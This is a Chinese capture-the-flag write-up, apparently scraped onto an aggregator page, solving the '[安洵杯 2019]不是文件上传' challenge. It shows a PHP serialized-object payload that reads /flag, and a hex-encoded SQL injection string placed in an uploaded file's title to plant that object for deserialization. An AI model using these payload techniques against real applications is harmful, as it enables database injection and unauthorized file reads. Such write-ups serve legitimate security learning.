当前位置:网站首页>[安洵杯 2019]不是文件上传
[安洵杯 2019]不是文件上传
2022-07-05 03:33:00 【paidx0】
buu给了源码链接,还是直接去看源码吧
简单看了一下,意思就是上传图片,假如helper中以序列化形式保存图片,那么在show中就可以反序列化
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
然后因为变量属性是protected 需要在变量名前加上\x00*\x00变量名,private则是要在变量名前加上\x00类名\x00变量名
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
所以下面用\0\0\0去填充,show反序列化前会换回去
//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL语句
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title这里是可控的,单引号闭合
//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg
边栏推荐
- College Students' innovation project management system
- [groovy] string (string injection function | asBoolean | execute | minus)
- 2. Common request methods
- Sqoop installation
- Design of KTV intelligent dimming system based on MCU
- SPI and IIC communication protocol
- 2021 Li Hongyi machine learning (3): what if neural network training fails
- The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
- Pat class a 1160 forever (class B 1104 forever)
- What is the most effective way to convert int to string- What is the most efficient way to convert an int to a String?
猜你喜欢
Logstash、Fluentd、Fluent Bit、Vector? How to choose the appropriate open source log collector
Port, domain name, protocol.
单项框 复选框
Yyds dry goods inventory embedded matrix
Utilisation simple de devtools
Share the newly released web application development framework based on blazor Technology
Basic knowledge of tuples
Devtools的簡單使用
Linux安装Redis
Leetcode92. reverse linked list II
随机推荐
PHP cli getting input from user and then dumping into variable possible?
Linux安装Redis
Azkaban安装部署
What is the most effective way to convert int to string- What is the most efficient way to convert an int to a String?
Apache Web page security optimization
The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
Azkaban overview
Idea inheritance relationship
Pat grade a 1119 pre- and post order traversals (30 points)
Dart series: collection of best practices
[system security] ten thousand words summary system virtualization container bottom layer principle experiment
Sqoop command
Single box check box
Port, domain name, protocol.
Use UDP to send a JPEG image, and UPD will convert it into the mat format of OpenCV after receiving it
Usage scenarios and solutions of ledger sharing
Linux Installation redis
Yyds dry goods inventory intelligent fan based on CC2530 design
Machine learning experiment report 1 - linear model, decision tree, neural network part
Asp+access campus network goods trading platform